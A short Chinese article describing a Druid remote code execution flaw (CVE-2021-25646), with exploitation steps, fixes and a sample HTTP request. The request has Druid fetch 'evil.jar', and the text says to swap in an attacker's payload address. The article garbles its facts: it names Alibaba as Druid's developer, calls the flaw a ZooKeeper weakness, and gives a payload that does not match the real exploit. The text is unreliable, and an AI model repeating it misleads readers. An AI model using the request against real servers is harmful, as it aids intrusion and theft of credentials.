Druid是一个实时数据处理和分析平台，由阿里巴巴集团开发。作为一款分布式的数据存储和处理解决方案，Druid采用了列式存储，支持实时流数据处理和批量数据处理。Druid广泛应用于业务监控、日志分析、电商、游戏、社交网络等领域。然而，Druid也存在着一些漏洞，下面我们就来了解其中的一个重要漏洞——Druid远程代码执行漏洞。
一、Druid远程代码执行漏洞概述
Druid远程代码执行漏洞（CVE-2021-25646）是一种基于Druid的Apache ZooKeeper漏洞，攻击者可以通过构造恶意请求，利用该漏洞在Druid应用程序中执行任意代码，甚至可能导致攻击者完全控制受影响的服务器。该漏洞在2021年初被曝出，目前已有多个国内外漏洞监测机构发布了相应的预警报告。
二、漏洞利用方法
攻击者可以通过以下步骤利用该漏洞： 1. 扫描目标：攻击者首先需要扫描目标服务器是否存在Druid服务，并确认Druid版本是否受漏洞影响。 2. 构造恶意请求：攻击者可以通过提供恶意数据构造一个精心设计的请求，将其发送给受影响的服务器。攻击者可以在请求参数中注入恶意代码，从而实现命令执行或远程控制操作。 3. 发送攻击请求：攻击者将构造好的恶意请求发送给服务器，从而触发漏洞执行恶意代码。此时，攻击者可以通过简单的命令来获取目标服务器的敏感信息或达到远程控制目的。
三、漏洞修复方式
针对Druid远程代码执行漏洞，官方已经发布了相应的安全补丁。针对该漏洞，有以下三种修复方式： 1.升级Druid版本：建议用户及时下载安装最新版本的Druid，并关闭不必要的端口，使用防火墙进行限制，阻止未授权的访问。同时，可以通过配置文件，限制Druid监控台的访问权限，防止攻击者利用该漏洞直接访问控制台，构造恶意请求执行远程代码。 2.关闭ZooKeeper：攻击者利用该漏洞主要是通过利用Druid与ZooKeeper的通信漏洞进行攻击，因此可以通过关闭ZooKeeper服务来有效避免漏洞攻击。 3.限制权限：对Druid服务所在的服务器进行权限限制，限制Druid允许操作的文件、端口等权限，防止攻击者滥用漏洞进行攻击。
四、代码示例
以下是利用Druid远程代码执行漏洞的示例代码，仅作为参考： ``` POST /druid/indexer/v1/sampler?for=thetascan HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/json Content-Length: 146 { "type" : "index", "spec" : { "ioConfig" : { "type" : "index", "firehose" : { "type" : "http", "uris" : [ "localhost:80/evil.jar" ], "httpConfig" : { "trustStorePath" : "/password" } } }, "dataSchema" : { "dataSource" : "sample", "granularitySpec" : { "type": "uniform", "segmentGranularity" : "day", "queryGranularity" : "none" }, "parser" : { "type" : "string", "parseSpec" : { "format" : "json", "timestampSpec" : { "column" : "timestamp", "format" : "auto" }, "dimensionsSpec" : { "dimensions": ["timestamp", "sample_key"] } } } }, "tuningConfig" : { "type": "index", "targetPartitionSize": 5000000, "maxRowsInMemory": 100000, "reportParseExceptions": true, "maxNumFiles": 10 } } } ``` 以上请求中，攻击者将参数中的“localhost:80/evil.jar”改为攻击者自己的恶意代码地址，然后发送请求即可实现远程代码执行操作。此时，攻击者可通过简单的命令获取服务器端口、用户密码等敏感信息。
